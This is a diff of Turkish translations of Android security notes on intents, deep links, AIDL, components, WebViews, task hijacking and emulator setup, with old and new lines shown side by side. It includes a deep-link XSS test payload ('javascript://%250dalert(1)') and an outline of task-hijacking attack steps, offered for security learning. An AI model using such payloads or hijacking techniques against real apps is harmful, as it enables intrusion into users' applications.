"Intent çözümleme" süreci, her mesajı hangi uygulamanın alması gerektiğini belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** oluşursa, **kullanıcının karar verebileceği** bir "chooser" penceresi açılır. "Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** oluşursa, **kullanıcının karar verebilmesi için** bir "chooser" penceresi açılır.
### Açık Intents ### Açık Intents
@ -161,18 +161,18 @@ context.startService(intent);
``` ```
### Pending Intents ### Pending Intents
Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık Değilse** (hangi intentin çağrılabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, mağdur uygulama adına belirtilen eylemi gerçekleştirebilir**. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**. Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık Değilse** (hangi intent'in çağrılabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, belirtilen eylemi** mağdur uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmezse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**.
### Broadcast Intents ### Broadcast Intents
Önceki intentlerden farklı olarak, yalnızca bir uygulama tarafından alınanlar, broadcast intents **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alacak uygulamanın **belirtilmesi mümkündür**; bu, Intent.setPackage kullanılarak yapılır. Önceki intent'lerin aksine, yalnızca bir uygulama tarafından alınan, broadcast intent'ler **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alacak uygulamanın **belirtilmesi mümkündür**; bu, Intent.setPackage kullanılarak yapılır.
Alternatif olarak, **yayın gönderirken bir izin belirtmek de mümkündür**. Alıcı uygulamanın bu izne sahip olması gerekecektir. Alternatif olarak, **yayın gönderirken bir izin belirtmek de mümkündür**. Alıcı uygulamanın bu izne sahip olması gerekecektir.
**İki tür** Yayın vardır: **Normal** (asenkron) ve **Sıralı** (senkron). **Sıra**, **alıcı** öğesindeki **yapılandırılmış önceliğe** dayanır. **Her uygulama Yayını işleyebilir, iletebilir veya düşürebilir.** **İki tür** Yayın vardır: **Normal** (asenkron) ve **Sıralı** (senkron). **Sıralama**, **alıcı** öğesindeki **yapılandırılmış önceliğe** dayanır. **Her uygulama Yayını işleyebilir, iletebilir veya düşürebilir.**
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` fonksiyonunu kullanarak **bir yayın göndermek** mümkündür.\ `Context` sınıfından `sendBroadcast(intent, receiverPermission)` fonksiyonunu kullanarak **bir yayın göndermek** mümkündür.\
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullanarak **mesajın uygulamadan asla çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz. Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullanarak **mesajın uygulamadan çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
### Sticky Broadcasts ### Sticky Broadcasts
@ -180,7 +180,7 @@ Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\ Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\
**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda değiştirmesine olanak tanır.** **Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda değiştirmesine olanak tanır.**
"sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmaya çalışın**. "sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve kaldırmaya çalışın**.
## Deep links / URL schemes ## Deep links / URL schemes
@ -211,21 +211,21 @@ Web'den erişmek için bir bağlantı ayarlamak mümkündür:
<a href="examplescheme://example/something">click here</a> <a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a> <a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
``` ```
Uygulamada **çalıştırılacak kodu** bulmak için, derin bağlantı ile çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. Uygulamada **çalıştırılacak kodu** bulmak için, derin bağlantı tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı öğrenin](./#exploiting-schemes-deep-links). HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı öğrenin](./#exploiting-schemes-deep-links).
## AIDL - Android Arayüz Tanım Dili ## AIDL - Android Arayüz Tanım Dili
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasında **işlem arası iletişim** (IPC) sağlamak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşallayarak süreci basitleştirir ve farklı işlemler arasında iletişimi kolaylaştırır. **Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasında **işlem arası iletişim** (IPC) sağlamak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşallayarak süreci basitleştirir ve böylece farklı işlemler arasında iletişimi kolaylaştırır.
### Temel Kavramlar ### Temel Kavramlar
- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasına, isteklerde bulunmasına ve yanıt almasına olanak tanır. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir. - **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, aktivitelerin veya bileşenlerin bir hizmete bağlanmasına, isteklerde bulunmasına ve yanıt almasına olanak tanır. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodunu kullanarak veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir. - **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodunu kullanarak veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir.
- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'in soyutlaması nedeniyle daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olduğunu anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz. - **Binder**: Binder sınıfının doğrudan kullanımı AIDL'in soyutlaması nedeniyle daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olarak işlev gördüğünü anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz.
## Bileşenler ## Bileşenler
@ -235,7 +235,7 @@ Bunlar: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok aktiviteye sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar. Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok aktiviteye sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
**Başlatıcı aktivite**, bir uygulamanın simgesine dokunduğunuzda başlatılan ana geçittir. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır: **Başlatıcı aktivite**, bir uygulamanın ana kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır:
```markup ```markup
<activity android:name=".LauncherActivity"> <activity android:name=".LauncherActivity">
<intent-filter> <intent-filter>
@ -256,7 +256,7 @@ Bir aktivitenin yaşam döngüsü **onCreate yöntemi ile başlar**, UI'yı kura
### Uygulama Alt Sınıfı ### Uygulama Alt Sınıfı
Android geliştirmede, bir uygulama **Application** sınıfının bir **alt sınıfını** oluşturma seçeneğine sahiptir, ancak bu zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde oluşturulan ilk sınıf olur. Bu alt sınıfta uygulanmışsa, **`attachBaseContext`** yöntemi **`onCreate`** yönteminden önce çalıştırılır. Bu kurulum, uygulamanın geri kalanı başlamadan önce erken başlatma sağlar. Android geliştirmede, bir uygulama **[Application](https://developer.android.com/reference/android/app/Application)** sınıfının bir alt sınıfını oluşturma seçeneğine sahiptir, ancak bu zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde oluşturulan ilk sınıf olur. Bu alt sınıfta uygulanmışsa, **`attachBaseContext`** yöntemi **`onCreate`** yönteminden önce çalıştırılır. Bu kurulum, uygulamanın geri kalan kısmı başlamadan önce erken başlatma sağlar.
```java ```java
public class MyApp extends Application { public class MyApp extends Application {
@Override @Override
@ -274,31 +274,31 @@ super.onCreate();
``` ```
### Hizmetler ### Hizmetler
[Services](https://developer.android.com/guide/components/services) **kullanıcı arayüzü olmadan** görevleri yerine getirebilen **arka plan operatörleri**dir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir. [Services](https://developer.android.com/guide/components/services) **kullanıcı arayüzü olmadan görevleri yerine getirebilen arka plan operatörleridir**. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer. Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer.
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcının bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi durumları içerir. Ayrıca, hizmetler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu, varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir: Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıların bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi durumları içerir. Ayrıca, hizmetler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir:
```xml ```xml
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
### Broadcast Receivers ### Broadcast Alıcıları
**Broadcast receivers** mesajlaşma sisteminde dinleyici olarak işlev görür ve birden fazla uygulamanın sistemden gelen aynı mesajlara yanıt vermesine olanak tanır. Bir uygulama **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir. **Broadcast alıcıları**, bir mesajlaşma sisteminde dinleyici olarak işlev görür ve birden fazla uygulamanın sistemden gelen aynı mesajlara yanıt vermesine olanak tanır. Bir uygulama, **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir.
**Intent filtreleri**, her iki kayıt yönteminde de kritik öneme sahiptir ve hangi yayınların alıcıyı tetikleyeceğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** metodu çağrılır ve uygulamanın buna göre tepki vermesini sağlar; örneğin, düşük pil uyarısına yanıt olarak davranışını ayarlamak gibi. **Intent filtreleri**, her iki kayıt yönteminde de kritik öneme sahiptir ve hangi yayınların alıcıyı tetikleyeceğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** metodu çağrılır ve uygulamanın buna göre tepki vermesini sağlar; örneğin, düşük pil uyarısına yanıt olarak davranışını ayarlamak gibi.
Yayınlar **asenkron** olabilir, tüm alıcılara sırasız ulaşır veya **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir. Yayınlar **asenkron** olabilir, tüm alıcılara sırasız ulaşır veya **senkron** olabilir; burada alıcılar, belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir.
Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular; özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya düşürebilir. Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular; özellikle **Sıralı Yayınlar**'da, Intent'i değiştirebilir veya düşürebilir.
### Content Provider ### İçerik Sağlayıcı
**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için gereklidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamalara veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir; `path`, `pathPrefix` ve `pathPattern` gibi nitelikler detaylı erişim kontrolü için kullanılır. **İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için gereklidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamalara, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişimi sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir; `path`, `pathPrefix` ve `pathPattern` gibi nitelikler, ayrıntılı erişim kontrolü için kullanılır.
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için çok önemlidir. Content Providers, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()` ve `query()`. Güvenlik açıklarını önlemek için giriş doğrulaması çok önemlidir; örneğin SQL enjeksiyonu. İçerik Sağlayıcılar, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()` ve `query()`.
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunmalıdır. **FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Uygulamanın manifestinde, klasörlere erişimi kontrol etmek için belirli niteliklerle tanımlanır; `android:exported` ve `android:resource` ile klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunmalıdır.
FileProvider için örnek manifest bildirimi: FileProvider için örnek manifest bildirimi:
```xml ```xml
@ -328,7 +328,7 @@ WebViews, Android uygulamaları içinde **mini web tarayıcıları** gibidir ve
Android, iki ana WebView türü sunar: Android, iki ana WebView türü sunar:
- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı fonksiyonunu desteklemez, bu da XSS saldırılarının nasıl test edileceğini etkiler. - **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı fonksiyonunu desteklemez, bu da XSS saldırılarının nasıl test edileceğini etkiler.
- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha yakın bir şekilde çalışır. - **WebChromeClient**, tam Chrome tarayıcı deneyimine daha çok benzer.
Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerez paylaşmamasıdır**. Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerez paylaşmamasıdır**.
@ -346,9 +346,9 @@ Dosya erişimini kontrol etmek için:
### **Uygulamaların Dijital İmzalanması** ### **Uygulamaların Dijital İmzalanması**
- **Dijital imzalama**, Android uygulamaları için zorunludur ve uygulamaların kurulumdan önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslimatı sırasında değiştirilmediğini garanti eder. - **Dijital imzalama**, Android uygulamaları için zorunludur ve uygulamaların kurulumdan önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihazın teslimatı sırasında değiştirilmeden kalmasını garanti eder.
### **Gelişmiş Güvenlik için Uygulama Doğrulaması** ### **Geliştirilmiş Güvenlik için Uygulama Doğrulaması**
- **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaların güvenliğini kurulumdan önce kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır. - **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaların güvenliğini kurulumdan önce kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.

View File

@ -4,7 +4,7 @@
## Görev, Geri Yığın ve Ön Plan Aktiviteleri ## Görev, Geri Yığın ve Ön Plan Aktiviteleri
Android'de, bir **görev**, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve bir **geri yığın** içinde organize edilir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte **ön plan aktivitesi** olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür, bu da onu **ön plan görevi**nin bir parçası yapar. Android'de, bir **görev**, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve **geri yığın** içinde organize edilir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte **ön plan aktivitesi** olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür, bu da onu **ön plan görevi**nin bir parçası yapar.
Aktivite geçişlerinin hızlı bir özeti: Aktivite geçişlerinin hızlı bir özeti:
@ -23,7 +23,7 @@ Android uygulamalarında, **görev affinitesi**, bir aktivitenin tercih edilen g
### Başlatma Modları ### Başlatma Modları
`launchMode` niteliği, görevler içindeki aktivite örneklerinin nasıl işleneceğini yönlendirir. **singleTask** modu, mevcut aktivite örnekleri ve görev affinitesi eşleşmelerine dayanan üç senaryo belirleyerek bu saldırı için kritik öneme sahiptir. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev affinitesini taklit etme yeteneğine dayanır ve Android sistemini saldırganın uygulamasını başlatmaya yönlendirir. `launchMode` niteliği, görevler içindeki aktivite örneklerinin nasıl işleneceğini yönlendirir. **singleTask** modu, mevcut aktivite örnekleri ve görev affinitesi eşleşmelerine dayalı üç senaryo belirleyerek bu saldırı için kritik öneme sahiptir. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev affinitesini taklit etme yeteneğine dayanır ve Android sistemini saldırganın uygulamasını başlatmaya yönlendirir.
### Ayrıntılı Saldırı Adımları ### Ayrıntılı Saldırı Adımları
@ -37,7 +37,7 @@ Bu saldırının pratik bir uygulaması için GitHub'daki Görev Ele Geçirme St
### Önleme Önlemleri ### Önleme Önlemleri
Bu tür saldırıları önlemek için geliştiriciler, `taskAffinity`'yi boş bir dize olarak ayarlayabilir ve uygulamalarının diğerlerinden izole olmasını sağlamak için `singleInstance` başlatma modunu seçebilirler. `onBackPressed()` fonksiyonunu özelleştirmek, görev ele geçirmeye karşı ek koruma sağlar. Bu tür saldırıları önlemek için geliştiriciler, `taskAffinity`'yi boş bir dize olarak ayarlayabilir ve uygulamalarının diğerlerinden izole olmasını sağlamak için `singleInstance` başlatma modunu tercih edebilir. `onBackPressed()` fonksiyonunu özelleştirmek, görev ele geçirmeye karşı ek koruma sağlar.
## **Kaynaklar** ## **Kaynaklar**

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Bu içeriği oluştururken yardım eden [**@offsecjay**](https://twitter.com/offsecjay)'e çok teşekkür ederim. Bu içeriği oluştururken yardım eden [**@offsecjay**](https://twitter.com/offsecjay) için çok teşekkür ederim.
## Nedir ## Nedir
@ -64,7 +64,7 @@ Sanal makine oluşturulacak. Artık **AVD yöneticisine her eriştiğinizde mevc
## Komut Satırı Aracı ## Komut Satırı Aracı
Öncelikle **hangi telefonu kullanmak istediğinize karar vermeniz gerekiyor**, olası telefonların listesini görmek için: Öncelikle **kullanmak istediğiniz telefonu belirlemeniz** gerekiyor, olası telefonların listesini görmek için şunu çalıştırın:
``` ```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -97,7 +97,7 @@ Tüm seçenekleri `sdkmanager` kullanarak listeleyebilirsiniz:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
``` ```
Ve **indir**mek istediğin birini (veya hepsini) şunlarla: Ve kullanmak istediğiniz birini (veya hepsini) **indirin**:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
``` ```
@ -121,7 +121,7 @@ Bu anda kullanmak istediğiniz cihazı seçtiniz ve Android imajını indirdiniz
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
``` ```
Son komutta **_AVD9_** adında bir VM **oluşturdum** ve **cihaz** olarak **_Nexus 5X_** ile **Android imajı** olarak **_system-images;android-28;google_apis;x86_64_** kullandım.\ Son komutta **_AVD9_** adında bir VM **oluşturdum** ve **cihaz** olarak **_Nexus 5X_** ve **Android imajı** olarak **_system-images;android-28;google_apis;x86_64_** kullandım.\
Artık oluşturduğunuz **sanallaştırılmış makineleri** listeleyebilirsiniz: Artık oluşturduğunuz **sanallaştırılmış makineleri** listeleyebilirsiniz:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -145,12 +145,12 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9 AVD9
Pixel_2_API_27 Pixel_2_API_27
``` ```
Herhangi bir **sanallaştırma makinesini çalıştırabilirsiniz**: Herhangi bir **oluşturulmuş sanal makineyi** basitçe çalıştırabilirsiniz:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
``` ```
Daha gelişmiş seçenekler kullanarak bir sanal makine çalıştırabilirsiniz: Daha gelişmiş seçenekler kullanarak bir sanal makine çalıştırabilirsiniz, örneğin:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
``` ```
@ -178,7 +178,7 @@ Ancak, sanal makineyi başlatmak için kullanabileceğiniz **birçok farklı kom
- `-screen {touch(default)|multi-touch|o-touch}` : Taklit dokunmatik ekran modunu ayarla. - `-screen {touch(default)|multi-touch|o-touch}` : Taklit dokunmatik ekran modunu ayarla.
- **`-writable-system`** : Emülasyon oturumunuz sırasında yazılabilir bir sistem görüntüsü elde etmek için bu seçeneği kullanın. Ayrıca `adb root; adb remount` komutunu çalıştırmanız gerekecek. Bu, sistemde yeni bir sertifika yüklemek için çok yararlıdır. - **`-writable-system`** : Emülasyon oturumunuz sırasında yazılabilir bir sistem görüntüsü elde etmek için bu seçeneği kullanın. Ayrıca `adb root; adb remount` komutunu çalıştırmanız gerekecek. Bu, sistemde yeni bir sertifika yüklemek için çok yararlıdır.
## Play Store cihazını köklendirme ## Play Store cihazını rootlama
Eğer Play Store ile bir cihaz indirdiyseniz, doğrudan root almanız mümkün olmayacak ve bu hata mesajını alacaksınız. Eğer Play Store ile bir cihaz indirdiyseniz, doğrudan root almanız mümkün olmayacak ve bu hata mesajını alacaksınız.
``` ```
@ -187,7 +187,7 @@ adbd cannot run as root in production builds
``` ```
